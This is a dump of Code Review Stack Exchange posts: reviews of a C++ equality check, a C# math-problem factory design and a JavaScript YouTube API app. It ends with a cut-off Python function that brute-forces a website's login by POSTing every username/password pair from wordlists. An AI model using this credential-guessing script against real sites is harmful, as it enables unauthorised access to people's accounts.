"body": "<p>Sorry to bump this one year old question, but there is something inherently wrong in your equality check <strong>if you ever extend to more than one level of inheritance</strong>.</p>\n\n<p>Consider a class <code>Foo</code> deriving from <code>Circle</code>, assuming the same implementation (with changed types of course).</p>\n\n<pre><code>Foo foo;\nCircle circle;\nShape & shapeFoo = foo;\nShape & shapeCircle = circle;\n\n// these two should behave the same, but they don't:\nstd::cout << (shapeFoo == shapeCircle) << std::endl;\nstd::cout << (shapeCircle == shapeFoo) << std::endl;\n</code></pre>\n\n<p>Why does this fail?</p>\n\n<p><code>shapeFoo == shapeCircle</code> will call <code>shapeFoo.Equals(shapeCircle)</code> which will be dispatched on the implementation of <code>Equals</code> in class <code>Foo</code>. There the <code>dynamic_cast<Foo const *></code> will fail, correctly returning <code>false</code>.</p>\n\n<p>However <code>shapeCircle == shapeFoo</code> will call <code>shapeCircle.Equals(shapeFoo)</code> which will be dispatched on the implementation of <code>Equals</code> in <strong>class <code>Circle</code></strong>. There the <code>dynamic_cast<Circle *></code> will succeed (as Foo is a descendant of Circle). Then the method will compare only the attributes of <code>Circle</code>, probably returning true.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-02-25T14:45:11.007",
"Id": "42765",
"ParentId": "10531",
"Score": "6"
}
}
] |
{
"AcceptedAnswerId": "10533",
"CommentCount": "4",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-31T13:55:42.347",
"Id": "10531",
"Score": "8",
"Tags": [
"c++",
"c++11"
],
"Title": "Equals method implemented in the class"
}
|
10531
|
<p>I'm creating a system to generate math problems. As you know in mathematics, there are several different <em>kinds</em> of problems: Binary problems, fractions, decimals, comparating two numbers, etc.</p>
<p>I'm creating an abstract problem factory, where this one is like a black box, which receives a <code>Configuration</code> as input, and returns the <code>Problem</code> as output.</p>
<ul>
<li>Problem: This contains the properties which needs the problem generated.</li>
<li>Configuration: This is the range parameters or conditions to generate a Problem.</li>
<li>Factory: He is in charge of creating the new Problem.</li>
</ul>
<p><a href="https://i.stack.imgur.com/Mq3NW.png" rel="noreferrer"><img src="https://i.stack.imgur.com/Mq3NW.png" alt="Configuration -> ProblemFactory -> Problem"></a></p>
<p>Here I have my factory interface and marker interfaces:</p>
<pre><code>public abstract class Problem { }
public abstract class Configuration { }
public interface IProblemFactory
{
Configuration Configuration { get; set; }
Problem CreateProblem();
}
</code></pre>
<p>This is a base class for factories, because I need the <code>Random</code> class. All my classes which implement this one, must have the same seed, so I have a static instance.</p>
<pre><code>public abstract class ProblemFactoryBase<P, C> : IProblemFactory
where P : Problem
where C : Configuration
{
private const int DEFAULT_SEED = 100;
protected C _config;
private static Random _random;
public ProblemFactoryBase()
{
if (_random == null) _random = new Random(DEFAULT_SEED);
}
public ProblemFactoryBase(C config)
{
_config = config;
if (_random == null) _random = new Random(DEFAULT_SEED);
}
protected Random Random { get { return _random; } }
public C Configuration
{
get { return _config; }
set { _config = value; }
}
#region IProblemFactory Implementation
Configuration IProblemFactory.Configuration
{
get { return _config; }
set
{
C config = value as C;
if (config == null) throw new InvalidCastException("config");
_config = config;
}
}
protected abstract P CreateProblem(C config);
#endregion
public Problem CreateProblem()
{
if (_config == null) throw new InvalidOperationException("config");
return CreateProblem(_config);
}
public static void SetSeed()
{
_random = new Random(DEFAULT_SEED);
}
}
</code></pre>
<p>Note that the <code>ProblemFactoryBase<P, C></code> class is a generic type, and implements the abstract method when the type is constructed.</p>
<p>When I have an implementation of all of this. For example, a module for a <code>BinaryProblems</code> like <code>2+3</code> would be:</p>
<pre><code>public class BinaryConfiguration : Configuration
{
public Range<int> Range1 { get; set; }
public Range<int> Range2 { get; set; }
public List<Operators> Operators { get; set; }
public BinaryConfiguration(Range<int> range1, Range<int> range2, List<Operators> operators)
{
this.Range1 = range1;
this.Range2 = range2;
this.Operators = operators;
}
public class BinaryProblem : Problem
{
public BinaryProblem(decimal x, decimal y, Operators op, decimal response)
{
this.X = x;
this.Y = y;
this.Response = response;
}
public decimal X { get; private set; }
public decimal Y { get; private set; }
public decimal Response { get; private set; }
}
public enum Operators
{
Addition, Substract, Multiplication, Division
}
</code></pre>
<p>And the most important part, here is a concrete factory. The class specifies the type parameters for the base generic class. Why? Because I supposed is the best way to implement the concrete values, I mean I don't have to cast any value right now.</p>
<pre><code> public class BinaryFactory : ProblemFactoryBase<BinaryProblem, BinaryConfiguration>
{
protected override BinaryProblem CreateProblem(BinaryConfiguration config)
{
var x = GenerateValueInRange(config.Range1);
var y = GenerateValueInRange(config.Range2);
var index = Random.Next(config.Operators.Count);
var op = config.Operators[index];
return new BinaryProblem(x, y, op, x + y);
}
private decimal GenerateValueInRange(Range<int> range)
{
return Random.Next(range.Min, range.Max);
}
}
</code></pre>
<p>And to implement it is:</p>
<pre><code> BinaryConfiguration configuration = new BinaryConfiguration() {.. }
IProblemFactory factory = new BinaryFactory(configuration);
var a = factory.CreateProblem();
</code></pre>
<p>It's doing what I like, because I want to put several factories in an array, but at the same time, the implementation of <code>ProblemFactoryBase</code> is good to me because there's no necessity for casting types.</p>
<p>I'm still learning design patterns. Maybe there are another ways to improve it or I'm not following an advice. What is your feedback?</p>
|
[
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-01T02:36:32.097",
"Id": "16761",
"Score": "3",
"body": "TOO MUCH CODE for a simple 2 + 3 = ? example. You studied the design patterns and wanted to implement one, but why? My problem with many patterns is that I do not see the point, they feel artificial. I can hardly imagine a real need for this. I may have seen the need if the problem at hand was sophisticated enough, but academic examples do not motivate much. If you would describe enough use cases to see a pattern, I could tell with more certainty whether Factory Pattern is the right tool. It does not feel like one. There are often alternative solutions. I don't feel compelled to use your code."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-01T03:00:08.097",
"Id": "16763",
"Score": "0",
"body": "The idea to do this, is because I'm creating a modular application where each module contains the way to create the problem. I'm describing of hundreds of kinds of problems of mathematics.."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-01T03:19:47.750",
"Id": "16764",
"Score": "0",
"body": "Let me suggest a better route. I believe that you want to use a Domain Specific Language, or some form of text parsing, which is more flexible. Here is an example of a cool paper: http://www.math.utah.edu/~hohn/spemhh.pdf and another: http://arbitrary.name/papers/fpf.pdf Here is an example of an F# DSL: http://social.msdn.microsoft.com/Forums/en-US/fsharpgeneral/thread/2dfd6ed1-b315-441d-a166-01b0cc20817a as well as: http://udooz.pressbooks.com/chapter/external-dsl-using-f-sharp-2-0/ and Clojure: http://www.learningclojure.com/2010/02/clojure-dojo-4-symbolic-differentiation.html\nfnc prg rules."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2015-12-14T08:47:36.170",
"Id": "210959",
"Score": "2",
"body": "I strongly agree with Leonid. Most of this code is useless and **you're trying to implement a pattern without needing it**. I started to write an answer but I found problem is at too high level, you see you have **useless base classes** and generic which forces you to know implementation details vanishing factory pattern itself. Drop everything and start again (FROM BOTTOM! First code you would like to write to use these classes and then go up to a generic implementation)."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2015-12-14T08:49:05.433",
"Id": "210960",
"Score": "0",
"body": "Pick your code in _\"And to implement it is:\"_ paragraph. What's for? Where the abstraction is? What do you need factory for? You just made your code overcomplicate"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2015-12-19T02:05:08.760",
"Id": "212102",
"Score": "2",
"body": "You... You actually wrote a `ProblemFactory`. You win the Internet."
}
] |
[
{
"body": "<p>This doesn't seem like factory pattern should handle. Factory pattern is more like creating objects without exposing the instantiation logic. It's best to use interfaces with this as well (like you have).</p>\n\n<p>Something I think you should check out is interpreter pattern. It's perfect for handling expressions (or problems in this case).</p>\n\n<p>Check this out:</p>\n\n<p><a href=\"http://www.dofactory.com/Patterns/PatternInterpreter.aspx#_self2\">http://www.dofactory.com/Patterns/PatternInterpreter.aspx#_self2</a></p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-19T19:02:57.370",
"Id": "11020",
"ParentId": "10532",
"Score": "7"
}
},
{
"body": "<p>This duplicated code </p>\n\n<blockquote>\n<pre><code>public ProblemFactoryBase()\n{\n if (_random == null) _random = new Random(DEFAULT_SEED);\n}\n\npublic ProblemFactoryBase(C config)\n{\n _config = config;\n\n if (_random == null) _random = new Random(DEFAULT_SEED);\n} \n</code></pre>\n</blockquote>\n\n<p>can be removed by using constructor chaining and be prettified by using braces <code>{}</code> like so </p>\n\n<pre><code>public ProblemFactoryBase()\n{\n if (_random == null) { _random = new Random(DEFAULT_SEED); }\n}\n\npublic ProblemFactoryBase(C config)\n : this()\n{\n _config = config;\n} \n</code></pre>\n\n<hr>\n\n<p>Because the class level constant <code>DEFAULT_SEED</code> is only used with the <code>static Random _random</code> it should be <code>static readonly</code>. In addition, based on the naming guidelines it should be named using <code>PascalCase</code> casing, see also: <a href=\"https://stackoverflow.com/a/242549/2655508\">https://stackoverflow.com/a/242549/2655508</a> it should look like so </p>\n\n<pre><code>private static readonly int DefaultSeed = 100; \n</code></pre>\n\n<p>Because <code>Random _random</code> and the property <code>Random Random</code> (which shouldn't be named like this, because you shouldn't name a property like its typ) won't be changed except for in the constructor, why don't you make <code>Random _random</code> a <code>protected readonly</code> instead ? </p>\n\n<p>Ok, I have now spotted this </p>\n\n<blockquote>\n<pre><code>public static void SetSeed()\n{\n _random = new Random(DEFAULT_SEED);\n} \n</code></pre>\n</blockquote>\n\n<p>which is IMO wrong at least the methodname implies something different to what is done. Either change the name of that method or let the method have a method argument which is then used as seed. </p>\n\n<hr>\n\n<p>About <code>#region IProblemFactory Implementation</code> please read <a href=\"https://softwareengineering.stackexchange.com/questions/53086/are-regions-an-antipattern-or-code-smell\">Are Regions an antipattern or code smell ?</a> </p>\n\n<p>If you want to keep this region, you should at least include the <code>Problem CreateProblem()</code> method. Btw, why do you have implicit <strong>and</strong> explicit implementations of the interface ????</p>\n\n<hr>\n\n<p>This </p>\n\n<pre><code>public C Configuration\n{\n get { return _config; }\n set { _config = value; }\n}\n\nConfiguration IProblemFactory.Configuration\n{\n get { return _config; }\n set\n {\n C config = value as C;\n if (config == null) throw new InvalidCastException(\"config\");\n\n _config = config;\n }\n}\n</code></pre>\n\n<p>is at least somehow strange. The first property belongs only to the factory class itself and the second property is the explicit interface implemented property. </p>\n\n<p>The first property needs to go, because it doesn't help any and isn't adding any value to the code. The only advantage of having this is that you don't need to cast the instance to an <code>IProblemFactory</code> because of the explicit interface implementation. </p>\n\n<p>In the second property setter there is no need to do a soft cast to <code>C</code> because <code>C</code> is already a <code>Configuration</code>. </p>\n\n<hr>\n\n<p>Either the implementation of the concrete <code>BinaryFactory</code> or the sample usage of it is flawed and wouldn't compile because the example usage uses a constructor which the <code>BinaryFactory</code> doesn't provide. </p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2015-12-14T07:27:10.597",
"Id": "113877",
"ParentId": "10532",
"Score": "14"
}
},
{
"body": "<p>When passing parameters to a <code>public</code> method, you always need to assert that the <code>parameter</code> isn't <code>null</code>, otherwise your code will throw <code>NullReferenceException</code> and nobody likes them.</p>\n\n<p>The generic types <code>C</code> and <code>P</code> should not be named this way. The \"non-written\" convention is that the default letter is <code>T</code>. That doesn't mean we should use any letters! :) If we check the .Net framework naming, we should rename <em>your</em> parameter type name to <code>TProblem</code>, <code>TConfig</code>.</p>\n\n<p>I think you should switch <code>Problem</code> and <code>Configuration</code> for interfaces. By using an abstract class, you prevent the child to inherit a class that might be more useful, especially considering that there are no properties or methods in both the classes. So, using an interface, every child will be free to decide if they need to implement another class.</p>\n\n<p>In the <code>ProblemFactoryBase</code> class, you duplicate code. There's a <code>SetSeed</code> method that contains the same code that is called in your constructor. You should call <code>SetSeed</code> in the constructor instead of calling the same code.</p>\n\n<p>By the way, is this <code>SetSeed</code> method really useful? The <code>_random</code> variable is <code>private</code>, so no one else than you can decide to set it to another value. But you don't change the seed of <code>_random</code>, so why expose a <code>public static</code> method for this? I don't think you need that method. And instead of exposing <code>protected Random</code>, why don't you expose a method <code>GetRandomNumber()</code> that would return <code>_random.Next()</code>. I think that would be clearer. Also, are you sure <code>Random</code> isn't an implementation detail? Why would <code>Random</code> be in your base class? What if the child don't want to use <code>Random</code>? I think <code>Random</code> should be left out of the base class, the child will create their own if they need it.</p>\n\n<p>Do you really need this property :</p>\n\n<pre><code>public C Configuration\n{\n get { return _config; }\n set { _config = value; }\n}\n</code></pre>\n\n<p>There's already the <code>interface</code> implementation. This could lead to some confusion. I'm pretty sure that exposing only the <code>interface</code> implementation would be enough! If you're worried about needing to cast your <code>Configuration</code> and not knowing the type, I'd need to ask you : When would you need to cast your <code>Configuration</code> from outside the <code>ProblemFactoryBase</code> (Which knows the type of <code>Configuration</code>, thanks to <code>TConfig</code>)?</p>\n\n<p>The <code>InvalidOperationException</code> message could be clearer. After all, explaining that <code>\"the configuration must not be null\"</code> isn't that much of a long message and it's much clearer than <code>\"config\"</code>.</p>\n\n<p>I'm not sure you're using the best design pattern to deal with your problem. After all, <code>Problem</code> and <code>Configuration</code> share absolutely nothing. <code>Problem</code> is dependant of <code>Configuration</code>. Since <code>Configuration</code> isn't created via the factory, we'll start by removing it from here. After all, why would a <code>ProblemFactoryBase</code> need a <code>Configuration</code> as a parameter? </p>\n\n<p>Argument #1 : If the <code>Problem</code> class or the <code>CreateProblem</code> doesn't need a <code>Configuration</code> class, it means the <code>Configuration</code> is an implementation detail. Interfaces/abstract classes shouldn't show implementation details. To show my point, here's an example. Imagine one day you have two child classes of <code>ProblemFactoryBase</code>. One which uses a <code>Configuration</code> and one that uses <code>IFooBarAlgorithmService</code>. Will you add <code>IFooBarAlgorithmService</code> to your <code>ProblemFactoryBase</code>? Would you add parameters like this for all the child classes? The <code>ProblemFactoryBase</code> class would end up being a mess.</p>\n\n<p>Argument #2 : If <code>Configuration</code> is a property because you didn't want it to be a parameter of the <code>CreateProblem</code> method, what would happen if you created a problem that didn't need a <code>Configuration</code>? The <code>CreateProblem</code> method would throw <code>InvalidOperationException</code>. But is it really invalid? No. The child class didn't want to use <code>Configuration</code>, and shouldn't need to use it, as it isn't a parameter of the <code>CreateProblem</code> method.</p>\n\n<p>So now that you see why the <code>Configuration</code> property isn't the best move, let's see the solutions : </p>\n\n<p>Either you completely remove the <code>Configuration</code> property from the <code>ProblemFactoryBase</code> class, because it is an implementation detail; or you add the <code>Configuration</code> as a parameter for the <code>CreateProblem</code> public method.</p>\n\n<p>If you think <code>Configuration</code> will be used for <em>every</em> problem created, it should be a parameter of the method, otherwise it should be left out from the base class.</p>\n\n<p>Right now, I <em>think</em> <code>Configuration</code> should be a parameter of your method <code>CreateProblem</code>, let's check all that out. First, we create an <code>interface</code> : </p>\n\n<p>(Note : I think <code>ProblemConfiguration</code> would be a better name than just <code>Configuration</code>, it's less confusing! And for the following examples, I will apply the review I made above)</p>\n\n<pre><code>public interface IProblemFactory<TProblem, TConfig> \n where TProblem : IProblem \n where TConfig : IProblemConfiguration\n{\n TProblem CreateProblem(TConfig configuration);\n}\n</code></pre>\n\n<p>That <code>interface</code> is pretty simple. It states \"Anything that implements me should be able to <strong>create</strong> a <strong>problem</strong> using a <strong>configuration</strong>\". That's exactly what we want. Always try to keep your interfaces as clear and concise as possible! (Your previous interface was fine, it's just a tip!)</p>\n\n<p>Next, what would an implementation look like?</p>\n\n<pre><code>public class BinaryProblemFactory : IProblemFactory<BinaryProblem, BinaryConfiguration>\n{\n private static readonly Random Random = new Random();\n\n public BinaryProblem CreateProblem(BinaryConfiguration configuration)\n {\n if (configuration == null) throw new ArgumentNullException(nameof(configuration));\n\n var x = GenerateValueInRange(configuration.Range1);\n var y = GenerateValueInRange(configuration.Range2);\n\n var index = Random.Next(configuration.Operators.Count);\n var op = configuration.Operators[index];\n\n return new BinaryProblem(x, y, op, x + y);\n }\n\n private static decimal GenerateValueInRange(Range<int> range)\n {\n return Random.Next(range.Min, range.Max);\n }\n}\n</code></pre>\n\n<p>It's clean, and looks a lot like your previous class, but notice there is no base class between the <code>interface</code> and this <code>class</code> and it didn't create much more code (We use the <code>Random</code> variable which might have been used in another subclass, or not!)</p>\n\n<p>Now, you'll have multiple sub classes of <code>IProblemFactory</code>. Wouldn't it be great to have one entry door where we could give a configuration and get the corresponding problem? Oh yeah, that would be neat. That's where the <a href=\"http://www.oodesign.com/abstract-factory-pattern.html\">Abstract Factory</a> comes in!</p>\n\n<p>Consider it a wrapper class around <em>all</em> your \"sub\" factories.</p>\n\n<p>What's cool about it is that it can implement the same existing interface!</p>\n\n<pre><code>public class ProblemFactory : IProblemFactory<IProblem, IProblemConfiguration>\n{\n public IProblem CreateProblem(IProblemConfiguration configuration)\n {\n if (configuration == null) throw new ArgumentNullException(nameof(configuration));\n\n if (configuration.GetType() == typeof (BinaryConfiguration))\n {\n return new BinaryProblemFactory().CreateProblem((BinaryConfiguration)configuration);\n }\n //else if(configuration.GetType() == typeof(SomeOtherConfig)\n // return new FooProblemFactory().CreateProblem((FooConfiguration)configuration);\n\n throw new InvalidOperationException(\"The configuration type isn't mapped to a problem\");\n }\n}\n</code></pre>\n\n<p>Boom, you now have a common place to get all your factories. You'll have to add lots of <code>if/else</code> though, as the time passes. We could fix this by changing our interface, which would change some things in the structure of our program, but this solution also has drawbacks. I'll show it to you anyway, so you can decide which fits your need better. </p>\n\n<p>So if our <code>interface</code> was instead :</p>\n\n<p>(Note : While typing, I realized that <code>CreateProblem</code> should be named <code>Create</code>. After all, you already know you're about to create a problem since the return type is <code>IProblem</code>)</p>\n\n<pre><code>public interface IProblemFactory\n{\n IProblem Create(IProblemConfiguration configuration);\n}\n</code></pre>\n\n<p>The drawback happens in your child classes : </p>\n\n<pre><code>public class BinaryProblemFactory : IProblemFactory\n{\n private static readonly Random Random = new Random();\n\n private static decimal GenerateValueInRange(Range<int> range)\n {\n return Random.Next(range.Min, range.Max);\n }\n\n public IProblem Create(IProblemConfiguration configuration)\n {\n if (configuration == null) throw new ArgumentNullException(nameof(configuration));\n\n //Here, we need to cast and verify for null, that's the drawback.\n //To \"counter\" it, the parameter xml comments should state we await a BinaryConfiguration\n var binaryConfig = configuration as BinaryConfiguration;\n\n if (binaryConfig == null) throw new ArgumentException($\"{nameof(binaryConfig)} should be of type {nameof(BinaryConfiguration)}\");\n\n var x = GenerateValueInRange(binaryConfig.Range1);\n var y = GenerateValueInRange(binaryConfig.Range2);\n\n var index = Random.Next(binaryConfig.Operators.Count);\n var op = binaryConfig.Operators[index];\n\n return new BinaryProblem(x, y, op, x + y);\n }\n}\n</code></pre>\n\n<p>But we gain one advantage in your <code>ProblemFactory</code> :</p>\n\n<pre><code>public class ProblemFactory : IProblemFactory\n{\n private readonly Dictionary<Type, IProblemFactory> _factoryMap;\n\n public ProblemFactory()\n {\n _factoryMap = new Dictionary<Type, IProblemFactory>();\n _factoryMap.Add(typeof (BinaryConfiguration), new BinaryProblemFactory());\n }\n\n public IProblem Create(IProblemConfiguration configuration)\n {\n if (configuration == null) throw new ArgumentNullException(nameof(configuration));\n\n IProblemFactory factory;\n bool exists = _factoryMap.TryGetValue(configuration.GetType(), out factory);\n\n if (!exists)\n {\n throw new InvalidOperationException(\"The configuration type isn't mapped to a problem\");\n }\n\n return factory.Create(configuration);\n }\n}\n</code></pre>\n\n<p>We can now use a <code>Dictionary</code> instead of having chains of <code>if</code>.</p>\n\n<p>There's also a third solution, that I don't really like, honestly. It involves reflection, meaning it is slower and well... not really clean. I'll show you anyway because well, I'm no master of you. :p This solution works using the first interface. Don't forget that using reflection, you loose the compile time check, which is not a good solution.</p>\n\n<pre><code>public class ProblemFactory : IProblemFactory<IProblem, IProblemConfiguration>\n{\n private readonly Dictionary<Type, object> _factoryMap;\n\n public ProblemFactory()\n {\n _factoryMap = new Dictionary<Type, object>();\n _factoryMap.Add(typeof(BinaryConfiguration), new BinaryProblemFactory());\n }\n\n public IProblem Create(IProblemConfiguration configuration)\n {\n if (configuration == null) throw new ArgumentNullException(nameof(configuration));\n\n object factory;\n bool exists = _factoryMap.TryGetValue(configuration.GetType(), out factory);\n\n if (!exists)\n {\n throw new InvalidOperationException(\"The configuration type isn't mapped to a problem\");\n }\n\n return (IProblem)factory.GetType().GetMethod(\"Create\").Invoke(factory, new object[] { configuration } );\n }\n}\n</code></pre>\n\n<p>It's up to you to decide which solution is the best between the first and the second as they both have advantages and disadvantages, but both of them should be pretty solid! :)</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2015-12-20T13:41:26.553",
"Id": "212318",
"Score": "0",
"body": "Tough decision, but your answer covers more ground and since I really like my factory interfaces to have a `Create` method (KISS, right?), you nailed it. Congratulations!"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2015-12-20T16:25:03.913",
"Id": "212331",
"Score": "0",
"body": "In `return new BinaryProblem(x, y, op, x + y);` you set the `response` parameter of `BinaryProblem` to `x + y`, but shouldn't this be `x op y` (in pseudocode)? That is, now you're always giving the response for addition, but it should actually also use the `op` the problem specifies."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2015-12-20T16:26:35.580",
"Id": "212332",
"Score": "0",
"body": "@skiwi Oops, I copied OP's code for that case, but you're right something is off!"
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2015-12-14T14:56:32.667",
"Id": "113916",
"ParentId": "10532",
"Score": "12"
}
},
{
"body": "<p>Minor addition to the comments already made:</p>\n\n<blockquote>\n<pre><code>private decimal GenerateValueInRange(Range<int> range)\n{\n return Random.Next(range.Min, range.Max);\n}\n</code></pre>\n</blockquote>\n\n<ol>\n<li><p>Why is this mixing <code>decimal</code> and <code>int</code>? It seems to me that if the generator generates problems involving ints, it shouldn't use decimals anywhere; and if it generates problems involving decimals, it would be clearer to use <code>Range<decimal></code> for the bounds.</p></li>\n<li><p>Why is this a private method in a generator? I can make an argument for including it in <code>Random</code> (or a wrapper around <code>Random</code>); I can make an argument for including it in <code>Range<T></code> if you can find a way to do it which doesn't run into problems with the type system; and I can make an argument for including it as an extension method to <code>Range<int></code>. But if it's a private method in a generator, you're going to end up copy-pasting it all over the place.</p></li>\n</ol>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2015-12-15T11:25:49.043",
"Id": "114028",
"ParentId": "10532",
"Score": "5"
}
},
{
"body": "<p>I'm going to focus on one thing as other answers and comments have addressed most of it.</p>\n\n<p>Using a constant seed to create your random instance is madness... It's not random at all, it will produce the same pseudorandom sequence every time you run your application. That seems to be a pretty massive flaw to me!</p>\n\n<p>That's why the default <code>Radom</code> constructor defaults to using some measure of the current time to seed itself - each time you create one it will produce a different sequence (as long as you create them far enough apart).</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2015-12-18T11:07:35.820",
"Id": "114366",
"ParentId": "10532",
"Score": "5"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "6",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-31T14:42:14.987",
"Id": "10532",
"Score": "33",
"Tags": [
"c#",
"design-patterns"
],
"Title": "I have a problem ...factory"
}
|
10532
|
<p>I'm looking for some feedback on my implementation of MVC and functional inheritance (as described by Douglas Crockford in his book <em>The Good Parts</em>) in an app that uses the YouTube API.</p>
<p>This is my first time building anything remotely object-oriented so I'd really appreciate some advice on this app.</p>
<p>You can view the app in full <a href="http://ec2-46-137-6-89.eu-west-1.compute.amazonaws.com/youTube/" rel="nofollow">here</a>. Here are some relevant code snippets:</p>
<p>Model:</p>
<pre><code>models.YTData = function(data) {
var feed = data.feed,
entries = feed.entry,
length = entries.length,
newData = {vids: []};
for(var i = 0; i < length; i+=1) {
var index = (i + 1) % 5,
entry = entries[i],
date = entry.published.$t,
jsDate = new Date(date.substring(0, 4), date.substring(5, 7) - 1, date.substring(8, 10)),
todayDate = new Date(),
oneDay = 1000 * 60 * 60 * 24,
views = entry.yt$statistics.viewCount,
numOfDays = Math.ceil((todayDate.getTime() - jsDate.getTime()) / oneDay);
if (entry.media$group.media$content !== undefined) {
newData.vids.push({
title: entry.title.$t,
url: entry.media$group.media$content[0].url,
index: index === 0 ? index + 5 : (i + 1) % 5,
views: controllers.addCommas('' + views),
date: '' + jsDate.getUTCDate() + ' ' + controllers.utilFunctions(jsDate.getMonth()).convertMonth() + ' ' + jsDate.getFullYear(),
average: controllers.addCommas('' + Math.round(views / numOfDays))
});
}
else {
continue;
}
}
localStorage.vids = JSON.stringify(newData);
return newData;
};
</code></pre>
<p>Controller:</p>
<pre><code>controllers.request = function(obj) {
var obj = obj || {};
var that = {
base_url: 'https://gdata.youtube.com/feeds/api/standardfeeds',
max_results: 25,
start_index: obj.start_index || 1,
alt: 'alt=json-in-script',
country: obj.country ? '/' + obj.country : '',
genre: obj.genre ? '&category=' + obj.genre : '',
call_url: function() {
return that.base_url + that.country + '/on_the_web_Music' + '?max-results=' +
that.max_results + '&start-index=' + that.start_index + '&' +
that.alt + that.genre;
},
ajax: function() {
views.loading();
$.ajax({
type: 'GET',
url: that.call_url(),
dataType: 'JSONP',
error: function() {
views.serverError().hide();
},
success: function(data) {
var loading = views.loading;
views.loading = function() {};
if (data.feed.entry === undefined) {
views.noResults().hide();
}
else {
views.displayFirst(models.YTData(data)).pager(obj.genre, obj.country);
}
views.loading = loading;
}
});
}
};
return that;
};
</code></pre>
<p>Views (showing an example of functional inheritance):</p>
<pre><code>views.display = function(data) {
var that = {
vids: data.vids,
condition: data.vids.length >= 5 ? 5 : data.vids.length,
hideCurrentVids: function() {
$('.playerContainer').animate({opacity: 0}, 500, function() {
that.showVids.apply(that);
});
},
showVids: function() {
$('#vids').html(views.tplVids(data)).css('opacity', '1');
$('#loader').css('display', 'none');
for (var i = 0; i < this.condition; i += 1) {
views.loadVideo(this.vids[i].url, false, i + 1);
$('#player' + (i + 1))
.parent()
.parent()
.css({position: 'relative', top: 0})
.delay(i * 500)
.animate({opacity: 1}, 1000);
}
$('#videos').removeData('loading');
$('#loader').css('display', 'none');
}
}
return that;
};
views.displayFirst = function(data) {
var that = views.display(data); // inherits from views.display
that.length = data.vids.length;
that.pagerArray = {pagerItems: []};
that.counter = 0;
that.pager = function(genre, country) {
if (this.length > 5) {
for (var i = 0; i < this.length; i += 5) {
this.counter += 1;
this.pagerArray.pagerItems.push({
index: this.counter
});
}
document.getElementById('pager').innerHTML = views.pagerGen(this.pagerArray);
$('#pager').animate({
opacity: 1
}, 500);
data.vids.splice(5);
}
else {
$('#pager').empty();
}
this.showVids();
views.viewing(genre, country);
};
return that;
};
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-31T17:50:53.970",
"Id": "16752",
"Score": "1",
"body": "Your controller has SEVEN levels of indentation, if your levels of identation have gone over 4 then your doing it wrong, break your functions into smaller ones"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-31T20:50:28.253",
"Id": "16754",
"Score": "0",
"body": "@Raynos Thanks for your response. Good point - I had thought my functions were a bit bloated."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2013-11-01T13:04:03.667",
"Id": "53898",
"Score": "0",
"body": "Sorry, I'm having a problem finding the functional inheritance bit in your view ... That's a lot of code :)"
}
] |
[
{
"body": "<p>I'm not a JavaScript expert, so just a few general notes:</p>\n\n<ol>\n<li><pre><code>var index = (i + 1) % 5,\n...\nindex: index === 0 ? index + 5 : (i + 1) % 5,\n</code></pre>\n\n<p>If I'm right, it could be written as:</p>\n\n<pre><code>index: index === 0 ? 5 : index,\n</code></pre></li>\n<li><p>I'd use a guard clause here:</p>\n\n<pre><code>if (entry.media$group.media$content !== undefined) {\n newData.vids.push({\n ...\n });\n}\nelse {\n continue;\n}\n</code></pre>\n\n<p>So, it would look like this:</p>\n\n<pre><code>if (entry.media$group.media$content === undefined) {\n continue;\n}\n\nnewData.vids.push({\n ...\n});\n</code></pre>\n\n<p>References: <em>Replace Nested Conditional with Guard Clauses</em> in <em>Refactoring: Improving the Design of Existing Code</em>; <a href=\"http://www.codinghorror.com/blog/2006/01/flattening-arrow-code.html\" rel=\"nofollow\">Flattening Arrow Code</a></p></li>\n<li><p>Instead of</p>\n\n<pre><code>condition: data.vids.length >= 5 ? 5 : data.vids.length,\n</code></pre>\n\n<p>use <code>Math.min</code>:</p>\n\n<pre><code>condition: Math.min(data.vids.length, 5),\n</code></pre>\n\n<p>I think it's easier to read.</p></li>\n</ol>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-29T16:25:41.583",
"Id": "11310",
"ParentId": "10534",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "3",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-31T17:32:00.253",
"Id": "10534",
"Score": "1",
"Tags": [
"javascript",
"mvc",
"youtube"
],
"Title": "Functional inheritance using the YouTube API"
}
|
10534
|
<p>This code will be brute force specific site using http POST method. </p>
<pre><code> def BruteForce(url, username, password):
userfile = open(username, "r")
userlist = userfile.read()
userlist = userlist.split("\n")
passfile = open(password, "r")
passlist = passfile.read()
passlist = passlist.split("\n")
for i in userlist:
for j in passlist:
data = {"username":i, "password": j}
data2 = {"username":i, "password": j}
data = urllib.urlencode(data)
request = urllib2.Request(url, data)
response = urllib2.urlopen(request)
payload = response.read()
